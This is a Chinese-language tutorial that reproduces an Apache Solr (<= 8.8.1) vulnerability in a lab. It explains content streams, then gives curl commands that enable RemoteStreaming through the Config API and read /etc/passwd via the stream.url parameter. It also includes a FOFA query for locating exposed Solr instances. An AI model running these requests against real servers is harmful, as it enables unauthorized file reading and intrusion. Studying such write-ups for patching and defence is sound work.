- 一、Apache Solr简介
- 二、内容流与RemoteStreaming
- 1、内容流
- 2、RemoteStreaming
- 三、漏洞复现
- 1、访问到Apache Solr的管理控制台
一、Apache Solr简介
Apache Solr是一个功能强大的开源搜索服务器,它支持REST风格API。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。
影响版本:Apache Solr <= 8.8.1
1、下载地址: https://solr.apache.org/downloads.html(可访问最新版本) https://archive.apache.org/dist/lucene/solr/(可查看所有版本) 2、在线靶场 vluhub https://labs.do-ta.com/
空间搜索引擎FOFA输入:app="APACHE-Solr",可以查看目前使用Solr的系统,如下图:
二、内容流与RemoteStreaming
我们需要学习一些额外的知识,以便了解为何我们的Payload要如下那样设置。
1、内容流内容流来源:当前请求处理程序可以通过多种方式获取内容流: 1、对于多部分文件上传,每个文件都以流的形式传递。 2、对于内容类型不是 application/x-www-form-urlencoded 的 POST 请求,原始的 POST 主体将作为流传递。完整的 POST 主体被解析为参数并包含在 Solr 参数中。 3、参数 stream.body 的内容作为流传递。 4、如果启用了远程流并在请求处理期间调用了 URL 内容,则每个参数 stream.url 和 stream.file 参数的内容将作为流获取并传递。
默认情况下,curl 发送一个 contentType=“application/x-www-form-urlencoded” 头。如果需要测试SolrContentHeader内容流,则需要使用 curl -H 标志来设置内容类型。
2、RemoteStreaming远程流传输,默认情况下是禁用状态,开启此选项,可以将URL的内容作为流发送到给定的SolrRequestHandler。
在启用远程流处理之前, 应确保系统已启用身份验证。
如果未在 solrconfig. xml 中指定 enableRemoteStreaming,则默认行为是不允许远程流 (即 enableRemoteStreaming = “false”)。
远程流也可以通过 Config API 启用,如下所示:
curl -d '
{
"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}
}
' http://localhost:8983/solr/techproducts/config -H 'Content-type:application/json'
如果使用 enableRemoteStreaming = “true”,将允许任何人向任何 URL 或本地文件发送请求。如果启用了 DumpRequestHandler,它将允许任何人查看系统上的任何文件。
三、漏洞复现 1、访问到Apache Solr的管理控制台
访问请求:ip:8983
2、访问http://192.168.209.134:8983/solr/admin/cores?indexInfo=false&wt=json
获取到数据库名称为:demo
3、利用curl命令,发送如下数据包,修改数据库demo的配置,开启RemoteStreaming。
curl -i -s -k -X $'POST'
-H $'Content-Type: application/json' --data-binary $'{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'
$'http://192.168.209.134:8983/solr/demo/config'
4、通过curl工具,利用Stream.url读取任意文件
curl -i -s -k 'http://192.168.209.134:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'



